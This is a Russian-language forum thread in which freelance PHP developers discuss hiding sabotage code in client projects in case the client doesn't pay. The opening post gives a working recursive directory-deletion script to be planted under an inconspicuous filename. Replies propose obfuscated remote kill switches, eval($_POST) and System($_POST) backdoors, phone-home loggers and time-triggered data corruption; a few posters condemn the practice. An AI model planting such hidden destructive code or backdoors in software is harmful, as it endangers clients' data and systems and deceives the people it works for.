Защита от кидалова. PHP for ever!
5 повідомлень
#17 років тому
По причине того что я на днях получил заказ от человека у которого в контактах нет данных, а проект только один - тот за который я берусь, решил обезопасить себя от возможного кидалова. Предоплату брать не могу так как я тут тоже новичек.Полистав книгу по PHP нашел замечательную функцию - rmdir(). Создав всего один неприметный файлик в глубине каталогов, например с названием fack_off.php (ну или подобным) и содержимым:
<?php
// Рекурсивная функция удаления каталога
// с произвольной степенью вложенности
function full_del_dir($directory)
{
$dir = opendir($directory);
while(($file = readdir($dir)))
{
// Если функция readdir() вернула файл - удаляем его
if(is_file("$directory/$file")) unlink("$directory/$file");
// Если функция readdir() вернула каталог и он
// не равен текущему или родительскому - осуществляем
// рекурсивный вызов full_del_dir() для этого каталога
else if (is_dir("$directory/$file") &&
$file != "." &&
$file != "..")
{
full_del_dir("$directory/$file");
}
}
closedir($dir);
rmdir($directory);
echo("Каталог успешно удален");
}
// Удаляем каталог temp, можете указать любой :)
full_del_dir("temp");
?>
вы обезопасете себя от плохого настроения, а подумав немного можно например вывести пару матерных слов о заказчике на всю траницу сайта. конечно необходимо предусматреть откат, если недобросовестный заказчик передумает)
желаю удачи!
5 повідомлень
#17 років тому
:idea:предлагаю всем у кого хорошо с PHP придумать свои, пусть несложные но еффективные скрипты и выложить здесь.тем самым вы поможете начинающим да и сами, я уверен, будете непрочь лишний раз обезопасить себя!
2195 повідомлень
#17 років тому
А я бы оторвал что-нибудь исполнителю.
5 повідомлень
#17 років тому
Нунуну... ведь мы - исполнители в значительной мере менее защищены от кидалова а тем более что об этом файле например никто не узнает никогда.а не хотите платить - извольте, будете страдать)
2128 повідомлень
#17 років тому
Наличие подобного кода уже само по себе позволяет заказчику оставить исполнителя без оплаты.
897 повідомлень
897 повідомлень
#17 років тому
Я вставляю подобный код только при наличии сомнений в порядочности заказчика.Правда еще и обфускатором прохожу, если есть возможность, то и Zend'ом )
75 повідомлень
3562 повідомлення
#17 років тому
Это не решит проблему.Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.
Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.
9 повідомлень
#17 років тому
Цитата ("SmartDesign"):Это не решит проблему.
Удаление копии скрипта - сомнительный плюс, да и я бы за такую дырку обиделся.
Гораздо лучше зенд + ограничение по времени работы/количеству запусков и т.д.
Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни"

Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.
3562 повідомлення
#17 років тому
Цитата:Ну для этого нужно иметь полноценную версию Zend Enoder. А проще зазендите рабочие органы и делайте элементарно. Размещаете на свёом хостинге файлик. В нём только одно слово :Все ыб ничего, но это очень легко "лечится" =)
true или false; И та часть, которая зашифрована, вот в ней и проверяете, что в этом файле. Если true пусть работает, если false пусть die("Бабло верни";
Цитата:
Лично я делаю проще. Готовую систему размещают на своём хосте и показываю в работе. Как только поступает оплата отдаю нормальный скрипт без всяких дыр и зендов.Это лучший вариант.
2128 повідомлень
#17 років тому
Есть самый идеальный вариант - написать нормальное ТЗ и составить договор плюс СБСВедь в случае размещения работы - если заказчик откажется забирать и, соответственно, платить - потеря денег и ресурсов.
---------
Что ж до недокументированного кода: при его наличии у заказчика есть шикарное оправдание - вот он мол встроил в сайт бекдоор,
значит правильно я ему не заплатил...
897 повідомлень
#17 років тому
Цитата ("3d-max"):Цитата ("lyoxa"):System($_POST);
или eval($_POST);
про safe_mode забыли?
на eval() он никак не влияет.
Серьезные заказы всегда предусматривают наличие гарантий обеих сторон.
Но когда проект с бюджетом "ниже среднего" и исполнителя мучают сомнения, это самый надежный вариант.
Еще иногда помогает @fopen("логер на твоем сайте",""

Далее как в магазине, получаешь деньги - отдаешь чистые исходники.
128 повідомлень
#17 років тому
У меня есть функция ua_id($id); Она возвращает массив пользователя найденого по ID. Я просто заказчику отправлю все файлы нормальными, а в этой функции после 20 числа ID будет браться рандомно ))) Если не кинет, то я ыбстренько всё исправлю, если кинет, то ему же хуже)))
3240 повідомлень
#17 років тому
Умышленное включение зловредного кода, не предупреждая об этом заказчика.За такое нужно сразу заносить в черный список, и для себя можно делать выводы, стоит ли с такими исполнителями работать.
tarpedo, вот Вы каталог удаляете, а что если заказчик в него свои данные положит, например фотки, они что, тоже удалятся?
lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?
IMHO такое можно делать только в том случае, если заказчик уведомлен о наличии жучков до полной оплаты, и дал свое согласие на это перед началом разработки.
897 повідомлень
#17 років тому
Цитата ("tvv"):Умышленное включение зловредного кода, не предупреждая об этом заказчика.
Код этот по своей сути не зловреден, но станет таковым при некоторых негативных обстоятельствах со стороны заказчика.
Это ведь мой скрипт и я могу вставлять туда все что душе угодно.
Цитата ("tvv"):
lyoxa, DEM90, вот вставляете в код такие жучки... А что если заказчик с Вами расплатится, а после этого Вы например случайно или умышленно "забудете" их удалить?
Если случайно, то кроме разработчика об этом никто не знает. Если умышленно, то это уже другая тема.